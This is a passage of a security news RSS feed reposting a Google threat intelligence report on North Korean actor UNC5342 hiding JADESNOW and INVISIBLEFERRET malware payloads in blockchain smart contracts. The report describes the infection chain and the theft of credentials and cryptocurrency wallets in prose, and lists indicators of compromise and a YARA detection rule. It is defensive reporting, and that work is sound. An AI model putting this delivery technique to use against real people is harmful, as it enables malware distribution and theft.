<link>https://tsecurity.de/de/3504165/it-security-nachrichten/dprk-adopts-etherhiding-nation-state-malware-hiding-on-blockchains/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3504165/it-security-nachrichten/dprk-adopts-etherhiding-nation-state-malware-hiding-on-blockchains/</guid>
<pubDate>Sun, 10 May 2026 08:09:17 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="block-paragraph_advanced"><p>Written by: Blas Kojusner, Robert Wallace, Joseph Dobson</p>
<hr></div>
<div class="block-paragraph_advanced"><p><span>Google Threat Intelligence Group (GTIG) has observed the North Korea (DPRK) threat actor UNC5342 using ‘EtherHiding’ to deliver malware and facilitate cryptocurrency theft, the first time GTIG has observed a nation-state actor adopting this method. </span><span>This post is part of a two-part blog series</span><span> on adversaries using EtherHiding</span><span>, a technique that leverages transactions on public blockchains to store and retrieve malicious payloads—notable for its resilience against conventional takedown and blocklisting efforts. Read about <a href="https://cloud.google.com/blog/topics/threat-intelligence/unc5142-etherhiding-distribute-malware">UNC5142 campaign leveraging EtherHiding to distribute malware</a>.</span></p>
<p><span>Since February 2025, GTIG has tracked UNC5342 incorporating EtherHiding into an ongoing social engineering campaign, dubbed Contagious Interview by Palo Alto Networks. In this campaign, the actor uses </span><span>JADESNOW malware to deploy a JavaScript variant of </span>INVISIBLEFERRET,<span> which has led to numerous </span><a href="https://cloud.google.com/blog/topics/threat-intelligence/examining-web3-heists"><span>cryptocurrency heists</span></a>.</p>
<h3><span>How EtherHiding Works</span></h3>
<p><span>EtherHiding emerged in September 2023 as a key component in the financially motivated CLEARFAKE campaign (UNC5142), which uses deceptive overlays, like fake browser update prompts, to manipulate users into executing malicious code. </span></p>
<p><span>EtherHiding involves embedding malicious code, often in the form of JavaScript payloads, within a smart contract on a public blockchain like BNB Smart Chain or Ethereum. This approach essentially turns the blockchain into a decentralized and highly resilient command-and-control (C2) server</span><span>.</span></p>
<p><span>The typical attack chain unfolds as follows:</span></p>
<ol>
<li aria-level="1">
<p role="presentation"><strong>Initial Compromise:</strong><span> DPRK threat actors typically utilize social engineering for their initial compromise (e.g., fake job interviews, crypto games, etc.). Additionally, in the CLEARFAKE campaign, the attacker first gains access to a legitimate website, commonly a WordPress site, through vulnerabilities or stolen credentials.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Injection of a Loader Script:</strong><span> The attacker injects a small piece of JavaScript code, often referred to as a "loader," into the compromised website.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Fetching the Malicious Payload:</strong><span> When a user visits the compromised website, the loader script executes in their browser. This script then communicates with the blockchain to retrieve the main malicious payload stored in a remote server. A key aspect of this step is the use of a read-only function call (such as </span><code>eth_call</code><span>), which does not create a transaction on the blockchain. This ensures the retrieval of the malware is stealthy and avoids transaction fees (i.e. gas fees).</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Payload Execution:</strong><span> Once fetched, the malicious payload is executed on the victim's computer. This can lead to various malicious activities, such as displaying fake login pages, installing information-stealing malware, or deploying ransomware.</span></p>
</li>
</ol>
<h3><span>Advantages for Attackers</span></h3>
<p><span>EtherHiding offers several significant advantages to attackers, positioning it as a particularly challenging threat to mitigate:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Decentralization and Resilience:</strong><span> Because malicious code is stored on a decentralized and permissionless blockchain, there is no central server that law enforcement or cybersecurity firms can take down. The malicious code remains accessible as long as the blockchain itself is operational.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Anonymity:</strong><span> The pseudonymous nature of blockchain transactions makes it difficult to trace the identity of the attackers who deployed the smart contract.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Immutability:</strong><span> Once a smart contract is deployed, the malicious code within it typically cannot be easily removed or altered by anyone other than the contract owner. </span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Stealth:</strong><span> Attackers can retrieve the malicious payload using read-only calls that do not leave a visible transaction history on the blockchain, making their activities harder to track.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Flexibility:</strong><span> The attacker who controls the smart contract can update the malicious payload at any time. This allows them to change their attack methods, update domains, or deploy different types of malware to compromised websites simultaneously by simply updating the smart contract.</span></p>
</li>
</ul>
<p><span>In essence, EtherHiding represents a shift toward next-generation bulletproof hosting, where the inherent features of blockchain technology are repurposed for malicious ends. This technique underscores the continuous evolution of cyber threats as attackers adapt and leverage new technologies to their advantage.</span></p></div>
<div class="block-paragraph_advanced"><h3><span>DPRK Social Engineering Campaign</span></h3>
<p><span>North Korea's social engineering campaign is a sophisticated and ongoing cyber espionage and financially motivated operation that cleverly exploits the job application and interview process. This campaign targets developers, particularly in the cryptocurrency and technology sectors, to steal sensitive data, cryptocurrency, and gain persistent access to corporate networks.</span></p>
<p><span>The campaign has a dual purpose that aligns with North Korea's strategic goals:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Financial Gain:</strong><span> A primary objective is the theft of cryptocurrency and other financial assets to generate revenue for the regime, helping it bypass international sanctions.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Espionage:</strong><span> By compromising developers, the campaign aims to gather valuable intelligence and potentially gain a foothold in technology companies for future operations.</span></p>
</li>
</ul>
<p><span>The campaign is characterized by its elaborate social engineering tactics that mimic legitimate recruitment processes.</span></p>
<h4><span>1. The Phishing Lure:</span></h4>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Fake Recruiters and Companies:</strong><span> The threat actors create convincing but fraudulent profiles on professional networking sites like LinkedIn and job boards. They often impersonate recruiters from well-known tech or cryptocurrency firms.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Fabricated Companies:</strong><span> In some instances, they have gone as far as setting up fake company websites and social media presences for entities like "BlockNovas LLC," "Angeloper Agency," and "SoftGlideLLC" to appear legitimate.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Targeted Outreach:</strong><span> They aggressively contact potential victims, such as software and web developers, with attractive job offers.</span></p>
</li>
</ul>
<h4><span>2. The Interview Process:</span></h4>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Initial Engagement:</strong><span> The fake recruiters engage with candidates, often moving the conversation to platforms like Telegram or Discord.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>The Malicious Task:</strong><span> The core of the attack occurs during a technical assessment phase. Candidates are asked to perform a coding test or review a project, which requires them to download files from repositories like GitHub. These files contain malicious code.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Deceptive Tools:</strong><span> In other variations, candidates are invited to a video interview and are prompted with a fake error message (a technique called ClickFix) that requires them to download a supposed "fix" or a specific software to proceed, which is actually the malware.</span></p>
</li>
</ul>
<h4><span>3. The Infection Chain:</span></h4>
<p><span>The campaign employs a multi-stage malware infection process to compromise the victim's system, often affecting Windows, macOS, and Linux systems.</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Initial Downloader (</strong><span>e.g.,</span><strong> </strong><a href="https://www.virustotal.com/gui/collection/malware--46392bb3-28c4-5816-a6a5-b18eecea692c" rel="noopener" target="_blank"><span>JADESNOW</span></a><strong>):</strong><span> The malicious packages downloaded by the victim are often hosted on the npm (Node Package Manager) registry. These loaders may collect initial system information and download the next stage of malware.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Second-Stage Malware (</strong><span>e.g.,</span><strong> </strong><a href="https://www.virustotal.com/gui/collection/malware--af80edcd-b72d-5c5c-a51d-6d058e5dc671" rel="noopener" target="_blank"><span>BEAVERTAIL</span></a><span>, </span><a href="https://www.virustotal.com/gui/collection/malware--46392bb3-28c4-5816-a6a5-b18eecea692c" rel="noopener" target="_blank"><span>JADESNOW</span></a><strong>):</strong><span> The JavaScript-based malware is designed to scan for and exfiltrate sensitive data, with a particular focus on cryptocurrency wallets, browser extension data, and credentials. The addition of </span><span>JADESNOW</span><span> to the attack chain marks UNC5342’s shift towards EtherHiding to serve up the third-stage backdoor </span><span>INVISIBLEFERRET</span><span>.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Third-Stage Backdoor (</strong><span>e.g.,</span><strong> </strong><a href="https://www.virustotal.com/gui/collection/malware--5fb44265-2abf-5916-9a4c-4e1c54c83946" rel="noopener" target="_blank"><span>INVISIBLEFERRET</span></a><strong>):</strong><span> For high-value targets, a more persistent backdoor is deployed. </span><span>INVISIBLEFERRET</span><span>, a Python-based backdoor, provides the attackers remote control over the compromised system, allowing for long-term espionage, data theft, and lateral movement within a network. </span></p>
</li>
</ul>
<h3><span>JADESNOW</span></h3>
<p><span>JADESNOW is a JavaScript-based downloader malware family associated with the threat cluster UNC5342. JADESNOW utilizes EtherHiding to fetch, decrypt, and execute malicious payloads from smart contracts on the BNB Smart Chain and Ethereum. The input data stored in the smart contract may be Base64-encoded and XOR-encrypted. The final payload in the JADESNOW infection chain is usually a more persistent backdoor like </span><a href="https://www.virustotal.com/gui/collection/malware--a1f65df6-197d-5735-b525-42da2b659b5d" rel="noopener" target="_blank"><span>INVISIBLEFERRET.JAVASCRIPT</span></a><span>.</span></p>
<p><span>The deployment and management of JADESNOW differs from that of similar campaigns that implement EtherHiding, such as CLEARFAKE</span><strong>.</strong><span> The CLEARFAKE</span><strong> </strong><span>campaign,</span><strong> </strong><span>associated with the threat cluster UNC5142, functions as a malicious JavaScript framework and often masquerades as a Google Chrome browser update pop-up on compromised websites. The primary function of the embedded JavaScript is to download a payload after a user clicks the "Update Chrome" button. The second-stage payload is another Base64-encoded JavaScript stored on the BNB Smart Chain. The final payload may be bundled with other files that form part of a legitimate update, like images or configuration files, but the malware itself is usually an infostealer like LUMASTEALER.</span></p>
<p><span>Figure 1 presents a general overview of the social engineering attack chain. The victim receives a malicious interview question, deceiving the victim into running code that executes the initial JavaScript downloader that interacts with a malicious smart contract and downloads the second-stage payload. The smart contract hosts the JADESNOW downloader that interacts with Ethereum to fetch the third-stage payload, in this case </span><span>INVISIBLEFERRET.JAVASCRIPT.</span><span> The payload is run in memory and may query Ethereum for an additional</span><strong> </strong><span>credential stealer</span><strong> </strong><span>component. It is unusual to see a threat actor make use of multiple blockchains for EtherHiding activity; this may indicate operational compartmentalization between teams of North Korean cyber operators. Lastly, campaigns frequently leverage EtherHiding's flexible nature to update the infection chain and shift payload delivery locations. In one transaction, the JADESNOW downloader can switch from fetching a payload on Ethereum to fetching it on the BNB Smart Chain. This switch not only complicates analysis but also leverages lower transaction fees offered by alternate networks.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/dprk-etherhiding-fig1.max-1000x1000.png" alt="UNC5342 EtherHiding on BNB Smart Chain and Ethereum">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="03n37">Figure 1: UNC5342 EtherHiding on BNB Smart Chain and Ethereum</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><h3><span>Malicious Smart Contracts</span></h3>
<p><span>BNB Smart Chain and Ethereum are both designed to run decentralized applications (dApps) and smart contracts. A smart contract is code on a blockchain that automatically executes actions when certain conditions or agreements are met, enabling secure, transparent, and automated agreements without intermediaries. Smart contracts are compiled into bytecode and uploaded to the blockchain, making them publicly available to be disassembled for analysis.</span></p>
<p><span>BNB Smart Chain, like Ethereum, is a decentralized and permissionless blockchain network that supports smart contracts programmed for the Ethereum Virtual Machine (EVM). Although smart contracts offer innovative ways to build decentralized applications, their unchangeable nature is leveraged in EtherHiding to host and serve malicious code in a manner that </span><span>cannot</span><span> be easily blocked.</span></p>
<p><span>Making use of Ethereum and BNB Smart Chain for the purpose of EtherHiding is straightforward since it simply involves calling a custom smart contract on the blockchain. UNC5342’s interactions with the blockchain networks are done through centralized API service providers rather than Remote Procedure Call (RPC) endpoints, as seen with CLEARFAKE. When contacted by GTIG, responsible API service providers were quick to take action against this malicious activity; however, several other platforms have remained unresponsive. This indifference and lack of collaboration is a significant concern, as it increases the risk of this technique proliferating among threat actors.</span></p>
<h3><span>JADESNOW On-Chain Analysis</span></h3>
<p><span>The initial downloader queries the BNB Smart Chain through a variety of API providers, including </span><a href="https://binplorer.com/" rel="noopener" target="_blank"><span>Binplorer</span></a><span>, to read the JADESNOW payload stored at the smart contract at address </span><a href="https://bscscan.com/address/0x8eac3198dd72f3e07108c4c7cff43108ad48a71c" rel="noopener" target="_blank"><code>0x8eac3198dd72f3e07108c4c7cff43108ad48a71c</code></a><span>.</span></p>
<p><span>Figure 2 is an example of an API call to read data stored in the smart contract from the transaction history. The transaction details show that the contract has been updated over 20 times within the first four months, with each update costing an average of $1.37 USD in gas fees. The low cost and frequency of these updates illustrate the attacker’s ability to easily change the campaign’s configuration. <span>This smart contract has also been linked to a software supply chain attack that impacted </span><a href="https://www.aikido.dev/blog/react-native-aria-attack" rel="noopener" target="_blank"><span>React Native Aria and GlueStack</span></a><span> via compromised npm packages in June 2025</span></span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>{
    timestamp: 1738949853,
    transactionHash: "0x5c77567fcf00c317b8156df8e00838105f16fdd4fbbc6cd83d624225397d8856",
    tokenInfo: {
        address: "0x8eac3198dd72f3e07108c4c7cff43108ad48a71c",
        (...)
        owner: "0x9bc1355344b54dedf3e44296916ed15653844509",
        (...)
        txsCount: 22,
        (...)
    },
    type: "issuance",
    value: "1",
    priority: 127,
    address: "0x9bc1355344b54dedf3e44296916ed15653844509"
}</code></pre>
<p><span>Figure 2: ABI call for transaction history</span></p></div>
<div class="block-paragraph_advanced"><p><span>Blockchain explorers like </span><a href="https://bscscan.com/" rel="noopener" target="_blank"><span>BscScan</span></a><span> (for BNB Smart Chain) and </span><a href="https://etherscan.io/" rel="noopener" target="_blank"><span>Etherscan</span></a><span> (for Ethereum) are essential tools for reviewing on-chain information like smart contract code and historic transactions to and from the contract. These transactions may include input data such as a variable </span><code>Name</code><span>, its </span><code>Type</code><span>, and the </span><code>Data</code><span> stored in that variable. Figure 3 shows on-chain activity at the transaction address </span><a href="https://bscscan.com/tx/0x5c77567fcf00c317b8156df8e00838105f16fdd4fbbc6cd83d624225397d8856" rel="noopener" target="_blank"><code>0x5c77567fcf00c317b8156df8e00838105f16fdd4fbbc6cd83d624225397d8856</code></a><span>, where the </span><code>Data</code><span> field contains a Base64-encoded and XOR-encrypted message. This message decrypts to a heavily obfuscated JavaScript payload that GTIG assesses as the second-stage downloader, JADESNOW.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/dprk-etherhiding-fig3.max-1000x1000.png" alt="UNC5342 on-chain activity">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="wutmn">Figure 3: UNC5342 on-chain activity</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><p><span>When comparing transactions, the launcher-related code remains intact, but the next stage payload is frequently updated with a new obfuscated payload. In this case, the obfuscated payload is run in memory and decrypts an array of strings that combine to form API calls to different transaction hashes on Ethereum. This pivot to a different network is </span><span>notable. The attackers are not using an Ethereum smart contract to store the payload; instead, they perform a </span><code>GET</code><span> request to query the transaction history of their attacker-controlled address and read the </span><code>calldata</code><span> stored from transactions made to the well-known “burn” address </span><code>0x00…dEaD</code><span>.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/dprk-etherhiding-fig4.max-1000x1000.png" alt="On-chain transactions">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="wutmn">Figure 4: On-chain transactions</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><p><span>The final address of these transactions is inconsequential since the malware only reads the data stored in the details of a transaction, effectively using the blockchain transaction</span><span> as a </span><a href="https://attack.mitre.org/techniques/T1102/001/" rel="noopener" target="_blank"><span>Dead Drop Resolver</span></a><span>.</span><span> These transactions are generated frequently, showing how easily the campaign can be updated with a simple blockchain transaction, including changing the C2 server.</span></p>
<p><span>The in-memory payload fetches and evaluates the information stored on-chain by querying Ethereum via different blockchain explorer APIs. Multiple explorers are queried simultaneously (including Blockchair, Blockcypher, and Ethplorer), likely as a fail-safe way to ensure payload retrieval. The use of a free API key, such as </span><code>apiKey=freekey</code><span> offered by Ethplorer for development, is sufficient for the JADESNOW operation despite strict usage limits.</span></p>
<h3><span>Payload Analysis</span></h3>
<p><span>The third stage is the </span><span>INVISIBLEFERRET.JAVASCRIPT</span><span> payload stored at the Ethereum transaction address </span><a href="https://etherscan.io/tx/0x86d1a21fd151e344ccc0778fd018c281db9d40b6ccd4bdd3588cb40fade1a33a" rel="noopener" target="_blank"><code>0x86d1a21fd151e344ccc0778fd018c281db9d40b6ccd4bdd3588cb40fade1a33a</code></a><span>. This payload connects to the C2 server via port 3306, the default port for MySQL. It sends an initial beacon with the victim's hostname, username, operating system, and the directory the backdoor is currently running under. The backdoor proceeds to run in the background, listening for incoming commands to the C2. The command handler is capable of processing arbitrary command execution, executing built-in commands to change the directory, and exfiltrating files, directories, and subdirectories from the victim’s system.</span></p>
<p><span>The </span><span>INVISIBLEFERRET.JAVASCRIPT</span><span> payload may also be split into different components like is done at the transaction address </span><a href="https://etherscan.io/tx/0xc2da361c40279a4f2f84448791377652f2bf41f06d18f19941a96c720228cd0f" rel="noopener" target="_blank"><code>0xc2da361c40279a4f2f84448791377652f2bf41f06d18f19941a96c720228cd0f</code></a><span>. The split up JavaScript payload executes the </span><span>INVISIBLEFERRET.JAVASCRIPT</span><span> backdoor and attempts to install a portable Python interpreter to execute an additional credential stealer component stored at the transaction address </span><a href="https://etherscan.io/tx/0xf9d432745ea15dbc00ff319417af3763f72fcf8a4debedbfceeef4246847ce41" rel="noopener" target="_blank"><code>0xf9d432745ea15dbc00ff319417af3763f72fcf8a4debedbfceeef4246847ce41</code></a><span>. This additional credential stealer component targets web browsers like Google Chrome and Microsoft Edge to exfiltrate stored passwords, session cookies, and credit cards. The </span><span>INVISIBLEFERRET.JAVASCRIPT</span><span> credential stealer component also targets cryptocurrency wallets like MetaMask and Phantom, as well as credentials from other sensitive applications like password managers (e.g., 1Password). The data is compressed into a ZIP archive and uploaded to an attacker-controlled remote server and a private Telegram chat.</span></p></div>
<div class="block-paragraph_advanced"><h3><span>The Centralized Dependencies in EtherHiding</span></h3>
<p><span>Decentralization is a core tenet of blockchain networks and other Web3 technologies. In practice, however, centralized services are often used, which introduces both opportunities and risks. Though blockchains like BNB Smart Chain are immutable and permissionless and the smart contracts deployed onto such blockchains cannot be removed, operations by threat actors using these blockchains are not unstoppable.</span></p>
<p><span>Neither North Korea’s UNC5342 nor threat actor UNC5142 are interacting directly with BNB Smart Chain when retrieving information from smart contracts; both threat actors are utilizing centralized services, akin to using traditional Web2 services such as web hosting. This affords astute defenders the opportunity to mitigate such threats. These centralized intermediaries represent points of observation and control, where traffic can be monitored and malicious activity can be addressed through blocking, account suspensions, or other methods. In other words, UNC5142 and UNC5342 are using permissioned services to interact with permissionless blockchains.</span></p>
<p><span>These threat actors exhibit two different approaches to utilizing centralized services for interfacing with blockchain networks:</span></p>
<ol>
<li aria-level="1">
<p role="presentation"><span>An RPC endpoint is used by UNC5142 (CLEARFAKE) in the EtherHiding activity. This allows direct communication with a BNB Smart Chain node hosted by a third party in a manner that is close to a blockchain node’s “native tongue.” </span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>An API service hosted by a central entity is used by UNC5342 (DPRK), acting as a layer of abstraction between the threat actor and the blockchain.</span></p>
</li>
</ol>
<p><span>Though the difference is nuanced, these intermediary services are positioned to directly impact threat actor operations. Another approach not observed in these operations is to operate a node that integrates fully with the blockchain network. Running a full node is resource-intensive, slow to sync, and creates a significant hardware and network footprint that can be traced, making it a cumbersome and risky tool for cyber operations.</span></p>
<h3><span>Recommendations</span></h3>
<p><span>EtherHiding presents new challenges as traditional campaigns have usually been halted by blocking known domains and IPs. Malware authors may leverage the blockchain to perform further malware propagation stages since smart contracts operate autonomously and </span><span>cannot</span><span> be shut down.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/dprk-etherhiding-fig5.max-1000x1000.png" alt="BscScan warning message">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="wutmn">Figure 5: BscScan warning message</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><p><span>While security researchers attempt to warn the community by tagging a contract as malicious on official blockchain scanners (like the warning on BscScan in Figure 5), malicious activity can still be performed.</span></p>
<h3><span>Chrome Enterprise: Centralized Mitigation</span></h3>
<p><a href="https://chromeenterprise.google/" rel="noopener" target="_blank"><span>Chrome Enterprise</span></a><span> can be a powerful tool to prevent the impact of EtherHiding by using its centralized management capabilities to enforce policies that directly disrupt the attack chain. This approach shifts security away from relying on individual user discretion and into the hands of a centralized, automated system.</span></p>
<p><span>The core strength of </span><span>Chrome Enterprise</span><span> resides in </span><span>Chrome Browser Cloud Management</span><span>. This platform allows administrators to configure and enforce security policies across all managed browsers in their organization, ensuring consistent protection regardless of the user's location or device.</span></p>
<p><span>For EtherHiding, this means an administrator can deploy a defense strategy that does not rely on individual users making the right security decisions.</span></p>
<h3><span>Key Prevention Policies and Strategies</span></h3>
<p><span>An administrator can use specific policies to break the EtherHiding attack at multiple points:</span></p>
<h4><span>1. Block Malicious Downloads</span></h4>
<p><span>This is the most direct and effective way to stop the attack. The final step of an EtherHiding campaign requires the user to download and run a malicious file (e.g., from a fake update prompt). Chrome Enterprise can prevent this entirely.</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><a href="https://support.google.com/chrome/a/answer/7579271" rel="noopener" target="_blank"><strong>DownloadRestrictions</strong></a><strong> Policy:</strong><span> An admin can configure this policy to block downloads of dangerous file types. By setting this policy to block file types like </span><code>.exe</code><span>, </span><code>.msi</code><span>, </span><code>.bat</code><span>, and </span><code>.dll</code><span>, the malicious payload can not be saved to the user's computer, effectively stopping the attack.</span></p>
</li>
</ul>
<h4><span>2. Automate and Manage Browser Updates</span></h4>
<p><span>EtherHiding heavily relies on social engineering, most notably by using a pop-up that tells the user "Your Chrome is out of date." In a managed enterprise environment, this should be an immediate red flag.</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><a href="https://support.google.com/chrome/a/answer/9838774" rel="noopener" target="_blank"><strong>Managed Updates</strong></a><strong>:</strong><span> Administrators use Chrome Enterprise to control and automate browser updates. Updates are pushed silently and automatically in the background.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>User Training:</strong><span> Because updates are managed, employees can be trained with a simple, powerful message: </span><strong>"</strong><span>You will never be asked to manually update Chrome.</span><strong>" </strong><span>Any prompt to do so is considered a scam and thus undermines the primary social engineering tactic.</span></p>
</li>
</ul>
<h4><span>3. Control Web Access and Scripts</span></h4>
<p><span>While attackers constantly change their infrastructure, policies can still reduce the initial attack surface.</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><a href="https://support.google.com/chrome/a/answer/7532419" rel="noopener" target="_blank"><strong>URLBlocklist</strong></a><strong> </strong><span>Policy</span><strong>:</strong><span> Admins can block access to known malicious websites, domains, or even the URLs of blockchain nodes if they are identified by threat intelligence.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><a href="https://support.google.com/chrome/answer/13844634#zippy=%2Chow-safe-browsing-works" rel="noopener" target="_blank"><strong>Safe Browsing</strong></a><strong>:</strong><span> Policies can enforce Google's Safe Browsing in its most enhanced mode, which uses real-time threat intelligence to warn users about phishing sites and malicious downloads.</span></p>
</li>
</ul>
<h3><span>Acknowledgements</span></h3>
<p><span>This analysis would not have been possible without the assistance from across Google Threat Intelligence Group, including the Koreas Mission, FLARE, and Advanced Practices.</span></p>
<h3><span>Indicators of Compromise</span></h3></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table><colgroup><col><col><col></colgroup>
<thead>
<tr>
<th scope="col">
<p><strong>Type</strong></p>
</th>
<th scope="col">
<p><strong>Indicator</strong></p>
</th>
<th scope="col">
<p><strong>Context</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<p><span>SHA256 Hash (ZIP Archive)</span></p>
</td>
<td>
<p><code>970307708071c01d32ef542a49099571852846a980d6e8eb164d2578147a1628</code></p>
</td>
<td>
<p><span>ZIP archive containing the initial downloader, in this case JADESNOW.</span></p>
</td>
</tr>
<tr>
<td>
<p><span>SHA256 Hash (Initial JavaScript Downloader)</span></p>
</td>
<td>
<p><code>01fd153bfb4be440dd46cea7bebe8eb61b1897596523f6f6d1a507a708b17cc7</code></p>
</td>
<td>
<p><span>JADESNOW sample to launch infection chain.</span></p>
</td>
</tr>
<tr>
<td>
<p><span>BSC Address (Smart Contract)</span></p>
</td>
<td>
<p><code>0x8eac3198dd72f3e07108c4c7cff43108ad48a71c</code></p>
</td>
<td>
<p><span>BNB Smart Chain contract used by UNC5342 to host the second-stage JADESNOW payload.</span></p>
</td>
</tr>
<tr>
<td>
<p><span>BSC Address (Attacker-Controlled)</span></p>
</td>
<td>
<p><code>0x9bc1355344b54dedf3e44296916ed15653844509</code></p>
</td>
<td>
<p><span>Owner address of the malicious BNB Smart Chain contract.</span></p>
</td>
</tr>
<tr>
<td>
<p><span>Ethereum Transaction Hash (INVISIBLEFERRET.JAVASCRIPT Payload)</span></p>
</td>
<td>
<p><code>0x86d1a21fd151e344ccc0778fd018c281db9d40b6ccd4bdd3588cb40fade1a33a</code></p>
</td>
<td>
<p><span>Transaction storing the INVISIBLEFERRET.JAVASCRIPT payload.</span></p>
</td>
</tr>
<tr>
<td>
<p><span>Ethereum Transaction Hash (INVISIBLEFERRET.JAVASCRIPT Split Payload)</span></p>
</td>
<td>
<p><code>0xc2da361c40279a4f2f84448791377652f2bf41f06d18f19941a96c720228cd0f</code></p>
</td>
<td>
<p><span>Transaction storing the split INVISIBLEFERRET.JAVASCRIPT payload</span></p>
</td>
</tr>
<tr>
<td>
<p><span>Ethereum Transaction Hash (INVISIBLEFERRET Credential Stealer Payload)</span></p>
</td>
<td>
<p><code>0xf9d432745ea15dbc00ff319417af3763f72fcf8a4debedbfceeef4246847ce41</code></p>
</td>
<td>
<p><span>Transaction storing the additional INVISIBLEFERRET.JAVASCRIPT credential stealer payload.</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div></div>
<div class="block-paragraph_advanced"><h3>YARA Detections</h3></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>rule G_Downloader_JADESNOW_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$s1 = "global['_V']"
		$s2 = "global['r']"
		$s3 = "umP"
		$s4 = "mergeConfig"
		$s5 = "charAt" nocase
	condition:
		uint16(0) != 0x5A4D and filesize &lt; 10KB and #s3 &gt; 2 and #s5 == 1 and all of them
}</code></pre></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-23870: Imperva Customers Protected Against Critical React Server Components DoS Vulnerability]]></title>
<description><![CDATA[TL;DR: A newly disclosed denial-of-service vulnerability, CVE-2026-23870, impacts React Server Components and dependent frameworks, including Next.js App Router deployments. The flaw enables unauthenticated attackers to send specially crafted HTTP requests that trigger excessive CPU consumption d...]]></description>
<link>https://tsecurity.de/de/3503882/it-security-nachrichten/cve-2026-23870-imperva-customers-protected-against-critical-react-server-components-dos-vulnerability/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3503882/it-security-nachrichten/cve-2026-23870-imperva-customers-protected-against-critical-react-server-components-dos-vulnerability/</guid>
<pubDate>Sun, 10 May 2026 03:10:36 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>TL;DR: A newly disclosed denial-of-service vulnerability, CVE-2026-23870, impacts React Server Components and dependent frameworks, including Next.js App Router deployments. The flaw enables unauthenticated attackers to send specially crafted HTTP requests that trigger excessive CPU consumption during request deserialization, leading to potential service degradation or total unavailability. Imperva Threat Research Group has analyzed the vulnerability and associated […]</p>
<p>The post <a href="https://www.imperva.com/blog/cve-2026-23870-imperva-customers-protected-against-critical-react-server-components-dos-vulnerability/">CVE-2026-23870: Imperva Customers Protected Against Critical React Server Components DoS Vulnerability</a> appeared first on <a href="https://www.imperva.com/blog">Blog</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[IT Security News Daily Summary 2026-05-09]]></title>
<description><![CDATA[29 posts were published in the last hour 20:32 : CVE-2026-23870: Imperva Customers Protected Against Critical React Server Components DoS Vulnerability 19:5 : IT Security News Hourly Summary 2026-05-09 21h : 1 posts 18:32 : TCLBANKER Threat Actors Intensify Financial…
Read more →
The post IT Secu...]]></description>
<link>https://tsecurity.de/de/3503740/it-security-nachrichten/it-security-news-daily-summary-2026-05-09/</link>
